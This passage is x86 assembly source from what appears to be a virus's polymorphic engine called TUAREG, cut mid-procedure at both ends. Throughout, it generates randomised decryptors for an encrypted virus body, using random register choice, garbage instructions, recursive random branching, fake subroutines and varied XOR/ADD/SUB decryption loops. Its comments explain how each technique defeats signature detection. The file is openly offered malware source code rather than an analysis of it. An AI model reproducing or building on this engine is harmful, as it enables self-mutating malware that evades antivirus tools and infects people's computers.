call dword ptr [ebp+RVA_GetSystemTime]
mov eax, [ebp+DwordAleatorio1]
xor eax, [ebp+DwordAleatorio2]
mov [ebp+DwordAleatorio3], eax

; Register selection
mov dword ptr [ebp+Index1Register], 08080808h
@@OtherRegister:
call SelectARegister
cmp byte ptr [ebp+AnyAPIFound], 1
jnz @@SelectAllForKey
cmp al, 2
jbe @@OtherRegister
@@SelectAllForKey:
mov [ebp+KeyRegister], al
call SelectARegister
mov [ebp+Index1Register], al
call SelectARegister
mov [ebp+Index2Register], al
call SelectARegister
mov [ebp+BufferRegister], al
mov eax, dword ptr [ebp+Index1Register]
mov dword ptr [ebp+CopyOfUsedRegisters], eax ; Save a copy

cmp dword ptr [ebp+BssSection], 0


jz @@NoBssSection

call Random
and eax, 7Ch
add eax, [ebp+BssSection]
mov [ebp+ReservedBssAddress], eax ; Save a .bss address
jmp @@NextThing
@@NoBssSection:
mov eax, [ebp+EncryptedDataBeginAddress]
add eax, offset SystemTime - offset Inic_Virus
mov [ebp+BssSection], eax
call Random
and eax, 7Ch
add eax, [ebp+BssSection]
mov [ebp+ReservedBssAddress], eax ; Get it from another
; place
@@NextThing:
mov eax, [ebp+EncryptedDataBeginAddress]
push eax
push eax
push eax
add eax, offset SystemTime - offset Inic_Virus
mov [ebp+Data1Section], eax
pop eax
add eax, offset Directory1 - offset Inic_Virus
mov [ebp+Data2Section], eax
pop eax
add eax, offset ArrayOfCalls1 - offset Inic_Virus
mov [ebp+Data3Section], eax
pop eax
add eax, offset CallsLevel1 - offset Inic_Virus
mov [ebp+Data4Section], eax ; Set some free frames for
; memory reads/writes. Later,
; the function SelectAnAddress will
; give an address from one of this
; frames to read or write freely.
mov ecx, 30h
@@LoopFillMemVars2:
mov dword ptr [ebp+4*ecx+ReservedMemVars_Addr-4], 0
mov byte ptr [ebp+ecx+ReservedMemVars_F-1], 0
loop @@LoopFillMemVars2

mov ecx, 30h


@@LoopFillMemVars:
call SelectAnAddressLow
mov [ebp+4*ecx+ReservedMemVars_Addr-4], ebx
loop @@LoopFillMemVars

call Random
and eax, Virus_SizePOW2 - 4
mov [ebp+InitialValue], eax ; Set initial value of the
; Index2

;; Let's create all the information for every created branch


mov esi, [ebp+AddressOfTuaregStackFrame]
mov ecx, 10h
@@LoopGetLocalFlags:
call Random ; Get local flags
mov dword ptr [esi], eax
test byte ptr [esi], 2
jz @@DontRepeatFlag
test byte ptr [esi], 4
jnz @@LoopGetLocalFlags
@@DontRepeatFlag:
push ecx
mov ecx, 8
xor eax, eax
@@LoopFillSubroutineAddresses:
mov [esi+4*ecx], eax
loop @@LoopFillSubroutineAddresses
pop ecx
add esi, 40h
loop @@LoopGetLocalFlags

push dword ptr [ebp+TouchedRegisters]


push dword ptr [ebp+TouchedRegisters+4]
mov dword ptr [ebp+TouchedRegisters], 01010101h
mov dword ptr [ebp+TouchedRegisters+4], 01010101h
call PreCreateCALLs
mov eax, edi
sub eax, [ebp+DecryptorBeginAddress]
mov [ebp+EPAddition], eax
pop dword ptr [ebp+TouchedRegisters+4]
pop dword ptr [ebp+TouchedRegisters]

call DoRandomGarbage ; Make garbage


call DoRandomGarbage
lea ebx, [ebp+offset SetIndex1Register]
lea ecx, [ebp+offset SetIndex2Register]
lea edx, [ebp+offset SetKeyRegister]
lea esi, [ebp+offset DoRandomGarbage]
call RandomCalling ; Set initial register values
call DoRandomGarbage ; Make garbage
call DoRandomGarbage
call DoRandomGarbage
mov byte ptr [ebp+BifurcationNumber], 0 ; Set bifurcation
; to 0 (since it's the start)
mov byte ptr [ebp+BranchIdentifier], 0

call Branching ; Call the mighty function that TUAREG bases


; its power on :)

;; Once we return from Branching, we have a huge monstruous decryptor cons-


;; tructed, with 15 possible addresses to loop and do the same but with diffe-
;; rent addresses and code (or to arrive again to the same place, it's nearly
;; unpredictable (anarchic relentless... :P).
mov edx, [ebp+JumpsToCompleteNdx]
shr edx, 2 ; EDX=number of jumps to complete
mov ecx, [ebp+JumpingArrayNdx]
shr ecx, 2 ; ECX=Number of addresses available to jump.
; I know the value of this registers (EDX=10h
; and ECX=0Fh), but in the future maybe it'll
; be random, so I coded it already in this
; manner.
@@CompleteJumps:
dec edx ; Have we finished with jumps?
js @@Completed ; Then, exit
mov esi, [4*edx+ebp+JumpsToComplete]
lea ebx, [esi+4]
@@OtherJump:
call Random ; Get a random address to jump
and eax, 0Fh
cmp eax, ecx
jae @@OtherJump
sub ebx, [4*eax+ebp+JumpingArray] ; Subtract the address
neg ebx ; to jump with the address of the jump
; itself...
mov [esi], ebx ; ...and complete the jump opcode
jmp @@CompleteJumps ; Repeat
@@Completed:
add esp, 1000h ; Restore ESP and release stack frame
popad ; Finish TUAREG...
ret ; ...and return to reality :( :P
Tuareg endp

;; This function is the branch generator (and it's auto-callable).


Branching proc
inc byte ptr [ebp+BifurcationNumber] ;Increase bifurcation
cmp byte ptr [ebp+BifurcationNumber], 5 ; Have we coded
; 4 in this stream?
jz @@InsertFunctionalCode ; If so, insert decryption code

mov eax, [ebp+JumpingArrayNdx] ; Insert this address into


mov [ebp+eax+JumpingArray], edi ; the jumping array. Later
add eax, 4 ; we can jump to here ran-
mov [ebp+JumpingArrayNdx], eax ; domly.

call DoRandomGarbage ; Make garbage


call DoRandomGarbage
call RandomFlags ;Make a random comparision with a
jz @@Instruct_2 ;random register. We want to jump
js @@CMP ;very randomly, so we select some
;quite unpredictable jumps like TEST
;Reg,PowerOf2/J(N)Z NextBranch, and
;things like that
@@TEST: call Random ; TEST Reg,PowerOf2
and al, 1Fh ; A power of two has only a bit set in all
mov cl, al ; the number, so we get a random between 0
mov edx, 1 ; and 32 and SHL 1 by that number. Since
shl edx, cl ; it's only a bit and we check that bit
call SelectARegister ; from a garbage register, it can be
mov ah, al ; set or clear, so we make J(N)Z and we
or al, al ; won't know which branch the execution is
jz @@TEST_EAX ; going to take.
mov al, 0F7h
or ah, 0C0h
stosw
mov eax, edx
stosd
jmp @@BitComparision ; Jump to there to set only JZ/JNZ
@@TEST_EAX:
mov al, 0A9h ; Set TEST EAX,xxx opcode (it's very sus-
stosb ; picious to have a TEST EAX with the gene-
mov eax, edx ; ral opcode
stosd
jmp @@BitComparision

@@CMP: call RandomFlags ; Compare register...


jz @@CMP_Reg ; ...with a register
@@CMP_Value: ; or with a value. In this case, the
call SelectARegister ; value is random, so the conditional
cmp al, 7 ; jump is random too. I avoid the JZ/
jz @@CMP_EAX_Value ; JNZ because they only work when the
mov dl, al ; value is exact. Instead of that, I
mov ax, 0F881h ; use JA, JB, JG, JLE, etc.
add ah, dl
stosw
jmp @@CMP_01
@@CMP_EAX_Value: ; Set CMP EAX,xxx opcode.
mov al, 3Dh
stosb
@@CMP_01: call Random
stosd
jmp @@AbsoluteComparision ; Jump to here to select other
; type of jumps, different from
; BitComparision
@@CMP_Reg:
call Random ; Compare with register. It's the same
and ax, 0707h ; as a value, but we set a random regis-
cmp ah, al ; ter, avoiding the same one.
jz @@CMP_Reg
shl al, 3
or ah, al
or ah, 0C0h
mov al, 39h ; CMP opcode
stosw ; Store instruction
jmp @@AbsoluteComparision ; jump to there

@@Instruct_2: ; Another type of random comparision. We


call SelectARegister ; do OR Reg,Reg or AND Reg,Reg and
mov dl, al ; we jump with JS/JNS.
mov dh, al
call RandomFlags
jz @@AND
@@OR: mov al, 09h ; OR opcode
jmp @@Inst2_2
@@AND: mov al, 21h ; AND opcode
@@Inst2_2: mov ah, 0C0h ;Set second opcode with "Register mode"
jc @@Inst2_3 ; Use random flag (already unchanged)
add al, 2 ; Use alternative opcode (since the register
; is the same, we don't care anymore)
@@Inst2_3: shl dl, 3 ; Set the selected register to the second op.
or ah, dh
or ah, dl
stosw ; Store instruction
@@AbsoluteComparision2:
; JS, JNS
xor ecx, ecx
call RandomFlags
setnz cl ; JS, JNS
@@InsertCJmp: mov ah, byte ptr [ebp+ecx+Op_CJumps] ; Get the selected
; jump from the table
@@InsertCJmp2: mov al, 0Fh ; Since the branches are going to take quite
stosw ; more size than 128 bytes, we use 32 bits
; conditional jumps.
push edi ; Save in stack the address of this jump
stosd ; Make space for the displacement of the jump
; (for later calculation)
jmp @@NextBranch ; Code next branches (one following this
; code and another where the jump will jump
; randomly)
@@BitComparision:
xor ecx, ecx
call RandomFlags
setnz cl
add ecx, 0Ah ; JZ, JNZ
jmp @@InsertCJmp ; It's clear, I think (it's the same as
; before)
@@AbsoluteComparision: ; CMP
call Random ; Select one of the following conditional
and eax, 0Fh ; jumps:
cmp al, 0Ah ; JS, JNS, JB, JBE, JA, JAE, JG, JL, JGE, JLE
jae @@AbsoluteComparision
mov ah, byte ptr [ebp+eax+Op_CJumps]
jmp @@InsertCJmp2

;; After coding the random-behaviour conditional jump, we arrive here. This


;; code will call recursively the function we are in until the number of bi-
;; furcations in the branch arrives to 5, moment when we'll code the decryp-
;; tion instructions, the index checks and all that.
@@NextBranch: call Branching ; Code left branch of the jump (the NO-JUMP
; condition)
pop ebx ; Pop from stack the address where the dis-
; placement of the jump coded before is.
mov ecx, edi ; Calculate the distance of the jump
sub ecx, ebx
sub ecx, 4
mov [ebx], ecx ; Complete the jump
call Branching ; Calculate the right branch (the JUMP con-
; dition)
dec byte ptr [ebp+BifurcationNumber] ; Decrease the number
; of bifurcations, since we are going to
; exit from the function Branching (to
; return to another run of Branching or
; return completely to function Tuareg).
ret ; Return!

;; When we reach the level 5 of recursivity in this function (Branching), then


;; the "functional code" (decryption instructions, indexes modifications, the
;; loop check and the jump to the decrypted part is inserted, and moreover the
;; code of thesubroutines created until this moment).

@@InsertFunctionalCode:
movzx eax, byte ptr [ebp+BranchIdentifier]
shl eax, 6 ; *40h
add eax, dword ptr [ebp+AddressOfTuaregStackFrame]
mov [ebp+TuaregFlags], eax

dec byte ptr [ebp+BifurcationNumber] ; Decrease the recur-


; sivity level for the returning
call DoRandomGarbage ; Make garbage
call DoRandomGarbage
call DoRandomGarbage
test byte ptr [ebp+TuaregFlags], 6 ;Use of buffer register?
;(bits 1-2=00)
jnz @@NoBufferReg ; If not, jump
;; With buffer register
xor edx, edx
mov dl, [ebp+BufferRegister] ; Get buffer register in DL
mov byte ptr [ebp+edx+TouchedRegisters], 1 ; Set it as
; "touched"
test byte ptr [ebp+TuaregFlags], 8 ; Exchange Index1 and 2?
jnz @@XchgNdxs1 ; Please do
mov dh, [ebp+Index1Register] ; Use Index1 in DH
jmp @@IFC_01
@@XchgNdxs1: mov dh, [ebp+Index2Register] ; Use Index2 in DH
@@IFC_01: call DoMOVRegReg ; Make MOV BufferReg,IndexXReg (or
call DoRandomGarbage ; similar) and some garbage
call DoRandomGarbage
mov dl, [ebp+BufferRegister] ; DL=Buffer register
test byte ptr [ebp+TuaregFlags], 8 ; Exchange Index1 and 2?
jnz @@XchgNdxs2 ; Please do
mov dh, [ebp+Index2Register] ; Use Index2 in DH
jmp @@IFC_02
@@XchgNdxs2: mov dh, [ebp+Index1Register] ; Use Index1 in DH
@@IFC_02: call DoXORRegReg ; Do XOR BufferReg,IndexXReg (the
; IndexX that wasn't used before)
call DoRandomGarbage ; Do garbage
call DoRandomGarbage
call InsertDecryption ; Put the decryption instruction
jmp @@IFC_Next_02 ; Continue

@@NoBufferReg: test byte ptr [ebp+TuaregFlags], 2 ; Which action?


jnz @@DoubleXORing ; Then, double XORing

;; We make: PUSH Index2/XOR Index2,Index1/Decrypt using Index2/POP Index2


@@PUSHPOPIndex2:
mov al, 50h
add al, byte ptr [ebp+Index2Register]
stosb ; PUSH Index2
call DoRandomGarbage ; Make garbage
call Patch1 ; XOR the Index2 with the Index1 and
; insert the decryption code, mixed
; with lots of garbage
mov al, 58h
add al, byte ptr [ebp+Index2Register]
stosb ; Insert POP Index2
jmp @@IFC_Next_02 ; Continue

;; We make: XOR Index2,Index1/Decrypt using Index2/XOR Index2,Index1 (to res-


;; tore the value)
@@DoubleXORing:
call DoRandomGarbage ; Make garbage
call Patch1 ; XOR Index2 with Index1, insert the
; decryption instruction and mix it
; with garbage
mov dh, [ebp+Index1Register]
mov dl, [ebp+Index2Register]
call DoXORRegReg ; XOR again Index2 with Index1
call DoRandomGarbage ; Make garbage
call DoRandomGarbage

@@IFC_Next_02:
;; Now we have to modify Index1 and Index2. Since we can code it interleaved
;; (each modification is composed of two main instructions) the less difficult
;; way to code that is making this. The modification of Index1 is adding a
;; random multiple-of-8 value. The modification of Index2 is adding a random
;; value between 4 and 7. The masking of Index1 is making the instruction
;; AND Index1,Virus_SizePOW2-4, and so is the masking of Index2.
;; Little maths: Since Index1 and Index2 are a random number between 0 and
;; Virus_SizePOW2, when we add a number to them less than Virus_SizePOW2 (as
;; it's the case), the resulting number never will be more than the double of
;; Virus_SizePOW2, so the immediate bit above the highest bit set on
;; Virus_SizePOW2-4 (in this case, due to the fact that Virus_SizePOW2-4 is
;; 7FFCh) is the bit 15. So, if we put in a dword Virus_SizePOW2 - 4 (7FFCh)
;; and we left the bit 15 cleared, we can have the rest of bits (16 to 31) set
;; to a random state, due to the fact that in Index1 and Index2 are going to
;; be always 0. This is a manner of making a confusion of this instruction
;; with the garbage ones, since it's a working mask, but it's random in a
;; great part of the whole dword.
;; So, we select a combination. Between the modification and the masking we
;; insert lots of garbage (as always).
call Random
and eax, 7
jz @@Combination0
cmp al, 2
jb @@Combination1
jz @@Combination2
cmp al, 4
jb @@Combination3
jz @@Combination4
cmp al, 6
jae @@IFC_Next_02 ; Select up to 6 combinations
@@Combination5: call ModifyIndex2 ; comb 5: Modify Index2, Modify Index1,
call ModifyIndex1 ; Mask Index1, Mask Index2
jmp @@SubComb1
@@Combination0: call ModifyIndex1 ; comb 0: Modify Index1, Modify Index2,
call ModifyIndex2 ; Mask Index1, Mask Index2
@@SubComb1: call MaskIndex1
call MaskIndex2
jmp @@IFC_Next_03
@@Combination1: call ModifyIndex1 ; Comb 1: Modify Index1, Mask Index1,
call MaskIndex1 ; Modify Index2, Mask Index2
call ModifyIndex2
call MaskIndex2
jmp @@IFC_Next_03
@@Combination2: call ModifyIndex1 ; Comb 2: Modify Index1, Modify Index2,
call ModifyIndex2 ; Mask Index2, Mask Index1
jmp @@SubComb2
@@Combination3: call ModifyIndex2 ; Comb 3: Modify Index2, Mask Index2,
call MaskIndex2 ; Modify Index1, Mask Index1
call ModifyIndex1
call MaskIndex1
jmp @@IFC_Next_03
@@Combination4: call ModifyIndex2 ; Comb 4: Modify Index2, Modify Index1,
call ModifyIndex1 ; Mask Index2, Mask Index1
@@SubComb2: call MaskIndex2
call MaskIndex1

;; When we arrive here, the code to decrypt is already coded. Now we have to
;; test if we decrypted all the virus body or we have to continue decrypting.
@@IFC_Next_03:
call DoCMP ; Do a CMP Index2,InitialValue (or similar)
call RandomFlags ; JNZ to loop or JZ/JMP?
jz @@MakeJZ ; Jump to use JZ
; We make: JNZ Loop
mov ax, 850Fh ; Insert a JNZ.
stosw ; Store the opcode of JNZ
@@CompleteJZ_JNZ:
mov eax, [ebp+JumpsToCompleteNdx]
mov [ebp+eax+JumpsToComplete], edi ; Insert the jump
add edi, 4 ; address and increase
add eax, 4 ; the index
mov [ebp+JumpsToCompleteNdx], eax
call DoRandomGarbage
call DoRandomGarbage ; Make garbage
call DoFinalJMP ; Make the jump to the decrypted part
jmp @@ContinueWithFunctionalCode
; We make: JZ Etiq1 / Garbage / JMP Loop / Etiq1: xxx
@@MakeJZ: mov al, 74h ; Store the opcode of JZ (short)
stosb
inc edi ; Make size for displacement
@@MakeJZ_000:
push dword ptr [ebp+CallsLevel1Ndx] ; Save CALLs indexes
push dword ptr [ebp+CallsLevel2Ndx] ; just in case we have
push dword ptr [ebp+CallsLevel3Ndx] ; to repeat the garbage
; making
jmp @@MakeJZ_001 ; Jump to continue
@@MakeJZ_003:
sub edi, 5 ; Eliminate the size of the "JMP Loop"
@@MakeJZ_001:
mov esi, edi ; Save current insertion address
call DoRandomGarbage ; Make garbage
add edi, 5 ; Add jump size
sub esi, edi ; Get the size of displacement for JZ
neg esi
cmp esi, 5 ; Displacement = size of JMP?
jbe@@MakeJZ_003 ; If it is, repeat (no garbage made)
cmp esi, 7Fh ; under the maximum displacement?
jbe@@MakeJZ_OK ; If it's below or equal, jump
pop dword ptr [ebp+CallsLevel3Ndx] ; We have to repeat the
pop dword ptr [ebp+CallsLevel2Ndx] ; garbage (too many),
pop dword ptr [ebp+CallsLevel1Ndx] ; so we restore the in-
; dexes of the calls to eliminate any
; posible call made during this garbage
; creation
sub edi, esi ; Restore EDI
jmp @@MakeJZ_000 ; Jump and loop
@@MakeJZ_OK: pop eax ; Eliminate the saved call indexes, since
pop eax ; the garbage is made correctly
pop eax
mov eax, esi ; Get the displacement in EAX
neg esi ; Get the index adding in ESI
mov byte ptr [edi+esi-1], al ; Complete the JZ
sub edi, 5 ; Make the JMP
mov al, 0E9h ; Opcode of JMP
stosb ; Store the opcode
jmp @@CompleteJZ_JNZ ; Jump to save the address for later
; completion

;; Since the function Branching is recursive, after this code will be other
;; branches and "functional code". This means that if we put in this point the
;; subroutines that we want to create, they'll be between code, not at the
;; beginning or at the end of the decryptor, technique that increases the
;; polymorphysm of the engine alot.

@@ContinueWithFunctionalCode:
xor ecx, ecx
call CompleteCalls ; Complete calls of level 1
mov ecx, 84h
call CompleteCalls ; Complete calls of level 2
mov ecx, 84h*2
call CompleteCalls ; Complete calls of level 3

@@Completed:
mov dword ptr [ebp+CallsLevel1Ndx], 0 ; Release must-be-
mov dword ptr [ebp+CallsLevel2Ndx], 0 ; created calls
mov dword ptr [ebp+CallsLevel3Ndx], 0

mov byte ptr [ebp+GarbageRecursivity], 0 ; Clear garbage


; recursivity set on the func-
; tion CompleteCalls
inc byte ptr [ebp+BranchIdentifier]
ret ; Return from the Branch
Branching endp

;; Conditional jumps table


Op_CJumps db 88h, 89h, 82h, 86h, 87h, 83h, 8Fh, 8Ch, 8Dh, 8Eh, 84h, 85h
;; JS, JNS, JB, JBE, JA, JAE, JG, JL, JGE, JLE, JZ, JNZ

ArrayOfCalls1 dd 20h dup (0) ; Place to put the addresses to the


ArrayOfCalls1Ndx dd 0 ; created subroutines. There are three
ArrayOfCalls2 dd 20h dup (0) ; levels, being the first level callable
ArrayOfCalls2Ndx dd 0 ; from the first recursivity level of
ArrayOfCalls3 dd 20h dup (0) ; garbage, and so on. Once in a subrouti-
ArrayOfCalls3Ndx dd 0 ; ne they only can call a subroutine of
; a higher level, to avoid inter-calls
; that would make the decryptor to not
; work (CALL_1 calls internally to CALL_2
; and CALL_2 calls CALL_1, for example).
DoNormalCall db 0 ; This flag puts at the beginning of the call the
; instructions PUSH EBP/MOV EBP,ESP, simulating the
; creation of a stack frame. In this version of the
; TUAREG isn't used, but externally seems a high
; level function.
CallsLevel1 dd 20h dup (0) ; This variables are used to store the
CallsLevel1Ndx dd 0 ; address in the being-constructed de-
CallsLevel2 dd 20h dup (0) ; cryptor where a CALL is. Later, when
CallsLevel2Ndx dd 0 ; the branch is finished, we determine
CallsLevel3 dd 20h dup (0) ; randomly if we use an already created
CallsLevel3Ndx dd 0 ; subroutine or we create a new one.

;; This function completes the CALLs pointed by the addresses in the arrays
;; above. Depending on the level of recursivity, we stored the address of that
;; CALL instruction in one of the levels. When we call to this function, de-
;; pending on the value in ECX, we complete them pointing to a created subrou-
;; tine (stored in ArrayOfCallsX) or we create a new subroutine and store the
;; address to that new one into ArrayOfCallsX.
;; ECX=0 for Calls level 1, ECX=84h for Calls level 2, ECX=84h*2 for level 3
CompleteCalls proc
mov edx, [ebp+ecx+CallsLevel1Ndx]
shr edx, 2 ; Get the number of calls to complete
push ecx
and cl, 0Fh
shr cl, 2
inc ecx
mov byte ptr [ebp+GarbageRecursivity], cl ;Set the garbage
; recursivity (calls of level
; 3 can't do any CALL, to
; avoid too much recursivity)
pop ecx
@@CompleteCalls:
dec edx ; Have we completed all the calls?
js @@Completed ; If yes, we end
cmp dword ptr [ebp+ecx+ArrayOfCalls1Ndx], 0 ; Are there
; any created subroutine?
jz @@CreateCall ; If not, create a new one directly
call RandomFlags ; Get random flags
jz @@CreateCall ; Create a call with a 50% of probability
@@AnotherRandom:
call Random
and eax, 3Ch
cmp eax, [ebp+ecx+ArrayOfCalls1Ndx]
jae @@AnotherRandom ; Get a random address from the list
; of created subroutines
add ebp, ecx
mov esi, [4*edx+ebp+CallsLevel1]
lea ebx, [esi+4]
sub ebx, [ebp+eax+ArrayOfCalls1]
neg ebx ; EBX=Displacement from the created subrou-
; tine to the CALL instruction
mov [esi], ebx ; Complete CALL
sub ebp, ecx ; Restore delta offset
jmp @@CompleteCalls ; Loop

@@CreateCall:
cmp dword ptr [ebp+ecx+ArrayOfCalls1Ndx], 80h ; If there are
jz @@AnotherRandom ; too much created subroutines, jump
; to use any created one
add ebp, ecx
mov esi, [4*edx+ebp+CallsLevel1] ; Get the address to the
lea ebx, [esi+4] ; CALL to complete
sub ebx, edi
neg ebx
mov [esi], ebx
sub ebp, ecx

call CreateCALL

jmp @@CompleteCalls ; Loop


@@Completed:
ret ; Return from function
CompleteCalls endp

CreateCALL proc
add ebp, ecx ; Fix delta offset (we can't put three
; registers inside the brackets :P)
mov ebx, [ebp+ArrayOfCalls1Ndx]
mov [ebp+ebx+ArrayOfCalls1], edi ; Now, set the address of
add ebx, 4 ; storage (EDI) into the array
mov [ebp+ArrayOfCalls1Ndx], ebx ; of created subroutines
sub ebp, ecx ; Restore delta offset
@@AgainCalls: call RandomFlags
jz @@NormalCall
js @@NormalCall ; Simulate a stack frame with a 25% of
; probability
cmp byte ptr [ebp+KeyRegister], 5
jz @@NormalCall
mov byte ptr [ebp+DoNormalCall], 0
mov al, 55h ; Insert PUSH EBP/MOV EBP,ESP
stosb
mov ax, 0EC8Bh
stosw
jmp @@NotNormalCall
@@NormalCall:
mov byte ptr [ebp+DoNormalCall], 1
@@NotNormalCall:
mov esi, edi ; ESI=Address of storage
; cmp byte ptr [ebp+GarbageRecursivity], 2
; jnz @@SetNormalGarbage
; mov byte ptr [ebp+SpecialGarbage], 1
; jmp @@ContinueWithCALLContents
@@SetNormalGarbage:
mov byte ptr [ebp+SpecialGarbage], 0
@@ContinueWithCALLContents:
call DoRandomGarbage ; Make a lot of garbage inside the
call DoRandomGarbage ; subroutine (included CALLs to other
call DoRandomGarbage ; subroutines, depending on the re-
call DoRandomGarbage ; cursivity level)
mov byte ptr [ebp+SpecialGarbage], 0
cmp esi, edi ; Test if EDI has grown (void subrou-
; tine)
jz @@NotNormalCall ;If it's void, repeat garbage generation
cmp byte ptr [ebp+DoNormalCall], 1
jz @@EndCall ; If there is a stack frame simulation...
mov al, 5Dh ; ...store POP EBP
stosb
@@EndCall: mov al, 0C3h
stosb ; Store RET
ret
CreateCALL endp
PreCreateCALLs proc
xor ecx, ecx
mov eax, 10h
mov byte ptr [ebp+GarbageRecursivity], 1
@@MakeAnother:
push eax
call RandomFlags
jz @@DontMake
call CreateCALL
@@DontMake: pop eax
dec eax
jnz @@MakeAnother
mov byte ptr [ebp+GarbageRecursivity], 0
ret
PreCreateCALLs endp

BifurcationNumber db 0 ; Number of recursivity for the function Branching


SpecialGarbage db 0

JumpingArray dd 10h dup (0) ; Array of possible target addresses to


JumpingArrayNdx dd 0 ; jump randomly to loop
JumpsToComplete dd 10h dup (0) ; Array where the looping jump addresses
JumpsToCompleteNdx dd 0 ; are stored for later completion

TouchedRegisters db 9 dup (0) ; Flags of "touched", for registers

;; This address selects any register which isn't ESP. If the selected register
;; hasn't the "touched" flag actived, the register is initialized with DoMOV
;; using a random value. Moreover, the function (as SelectARegister and
;; SelectARegisterWithInit) saves the last register returned, so the next call
;; to this functions won't return the same register as the time before.
SelectAnyRegisterWithInit proc
@@Other: call Random
and al, 7
cmp al, 4
jz @@Other
cmp al, byte ptr [ebp+RegisterSelectedB4]
jz @@Other ; Select a random between 0 and 7 with isn't
; ESP nor the last selected register
SelectReg_Common:
and eax, 0FFh
cmp byte ptr [ebp+eax+TouchedRegisters], 1
jz @@OK ; If the register is "touched", jump
cmp byte ptr [ebp+KeyRegister], al
jz @@Other
push edx
push eax
mov dl, al
call Random
call DoMOV ; Initialize the register with a random value
pop eax
pop edx
mov byte ptr [ebp+eax+TouchedRegisters], 1 ; Set the reg.
; as "touched"
@@OK: mov byte ptr [ebp+RegisterSelectedB4], al ; Save it as the
; "selecter before"
ret ; Return
SelectAnyRegisterWithInit endp

RegisterSelectedB4 db 0 ; Place where we save the last selected


; register
;; This function selects a register which is not Index1, Index2, Key or
;; Buffer (a register to use with garbage). If the register isn't "touched",
;; the register is initialized to a random value with a MOV or similar.
SelectARegisterWithInit proc
call SelectARegister ; Call to the register selection
jmp SelectReg_Common ; Jump to the register initialization
; common part of the function above
SelectARegisterWithInit endp

;; This function makes the instructions to modify the Index1 register


ModifyIndex1 proc
mov dl, [ebp+Index1Register]
mov eax, [ebp+Index1Modifier]
ModifyNdxReg: call DoADD
call DoRandomGarbage
call DoRandomGarbage
ret
ModifyIndex1 endp

;; This function makes the instructions to modify the Index2 register


ModifyIndex2 proc
mov dl, [ebp+Index2Register]
mov eax, [ebp+Index2Modifier]
jmp ModifyNdxReg
ModifyIndex2 endp

;; This function makes the instructions to mask the Index1 with AND
MaskIndex1 proc
mov ecx, Virus_SizePOW2
call Random
and eax, 3
inc eax
sub ecx, eax
call Random
and eax, NOT(Virus_SizePOW2 - 1)
and eax, NOT(Virus_SizePOW2)
or ecx, eax ; ECX=The pure mask with random bits
; where in the register to mask will be
; always 0
mov dl, [ebp+Index1Register]
MaskNdxReg: or dl, dl
jz @@EAX
mov ax, 0E081h ; AND Reg,Value
or ah, dl
stosw ; Store the opcode
jmp @@InsertValue
@@EAX: mov al, 25h ; AND EAX,Value
stosb ; Store the opcode
@@InsertValue: xchg ecx, eax
stosd ; Store the masking value
call DoRandomGarbage ; Make garbage
call DoRandomGarbage
ret ; Return
MaskIndex1 endp

;; This function makes the instructions to mask the Index2 with AND
MaskIndex2 proc
mov ecx, Virus_SizePOW2 - 4
call Random
and eax, NOT(Virus_SizePOW2 - 1)
and eax, NOT(Virus_SizePOW2)
or ecx, eax
mov dl, [ebp+Index2Register] ; ECX=Mask with random bits
; where in the register to
; mask will be 0
jmp MaskNdxReg ; Jump to the common part
MaskIndex2 endp

;; This function is common when doing the "functional" code in the branch.
;; What it does is to XOR the Index2 with the Index1, do garbage, make the
;; code to decrypt and do more garbage.
Patch1 proc
mov dh, [ebp+Index1Register]
mov dl, [ebp+Index2Register]
call DoXORRegReg
call DoRandomGarbage
call DoRandomGarbage
call InsertDecryption
call DoRandomGarbage
call DoRandomGarbage
ret
Patch1 endp

;; This function construct code for the decryption operation. It can make a
;; wide variety of methods, using one or two registers inside the brackets,
;; and using a direct value or a register to decrypt. The decryption is XOR,
;; ADD or SUB. No in vane, it's one of the largest functions in this engine.
InsertDecryption proc
test byte ptr [ebp+TuaregFlags], 1 ; Use register for key?
jz @@WithKeyReg ; Then jump to there

;; Here we'll construct a XOR/ADD/SUB DWORD PTR [Address], DirectValue


cmp byte ptr [ebp+EncryptType], 1 ; Make XOR, ADD or SUB
jb @@PutSUBValue
jz @@PutADDValue
@@PutXORValue: mov ah, 0B0h ; XOR 2nd opcode
jmp @@PutValue
@@PutSUBValue: mov ah, 0A8h ; SUB 2nd opcode
jmp @@PutValue
@@PutADDValue: mov ah, 80h ; ADD 2nd opcode (the instruction is re-
; presented on the bits 6-5-4). And we
; set the two highest bits to 1-0, to
; activate a dword adding to the register
; inside the brackets
@@PutValue: mov al, 81h ; Main opcode
test byte ptr [ebp+TuaregFlags], 6 ; Use buffer register?
jnz @@NoBufferReg ; If not, use Index2
;; Here we made XOR/ADD/SUB DWORD PTR [BufferReg+AddingValue], KeyValue
@@WithBufferReg:
or ah, byte ptr [ebp+BufferRegister] ; Select buffer reg.
call RandomFlags ; Do we modify the buffer register B4?
jz @@NoAdditionalAddition ; If not, store directly the
; encrypted data begin address as
; addition
push eax ; Save opcode
call Random ; Get a random value
mov dl, byte ptr [ebp+BufferRegister] ;Get the buffer reg.
call DoADD ; Do an ADD Reg,Value instruction (or similar)
call DoRandomGarbage ; to add a random value, and some gar-
; bage
pop ebx
xchg ebx, eax ; EAX=Opcode, EBX=Additional addition
stosw ; Store opcode
mov eax, [ebp+EncryptedDataBeginAddress] ; Subtract to the
sub eax, ebx ; address addition the random ADDed to the
stosd ; buffer register and store it as addition
jmp @@Next_01 ; inside the brackets, and jump
@@NoAdditionalAddition:
stosw ; Store the opcode
mov eax, [ebp+EncryptedDataBeginAddress] ; Store this
stosd ; address directly (without modifications)
jmp @@Next_01 ; Jump
@@NoBufferReg:
or ah, byte ptr [ebp+Index2Register] ; Bind the reg. to
; the opcode
call RandomFlags ; Randomly select if we modify the
jz @@NoAdditionalAddition ;addition or we store the decrypt
; data begin address directly
test byte ptr [ebp+TuaregFlags], 2 ; PUSH/Decrypt/POP?
jnz @@UseBufferRegister ; If not, we modify buffer reg
call RandomFlags ; Randomly we select to modify the
jz @@UseBufferRegister ; buffer register or Index2 register
; (since we push it and pop it later,
; we can modify it)
@@UseIndexRegister:
push eax
call Random ; Get a random value to add
mov dl, byte ptr [ebp+Index2Register]
call DoADD ; Make an ADD with that random value
call DoRandomGarbage ; Make garbage
pop ebx
xchg ebx, eax
stosw ; Store the opcode
mov eax, [ebp+EncryptedDataBeginAddress]
sub eax, ebx ; Adjust the addition
stosd ; Store the addition
jmp @@Next_01 ; Jump to complete the instruction
;; Here we are going to make a MOV BufferReg,RandomValue. Then, inside the
;; decryption instruction, we'll use double index instead one index:
;; XOR/ADD/SUB DWORD PTR [Index2Reg+BufferReg+Dword_Addition], KeyValue
@@UseBufferRegister:
push eax
call Random ; Get a random value
mov dl, byte ptr [ebp+BufferRegister]
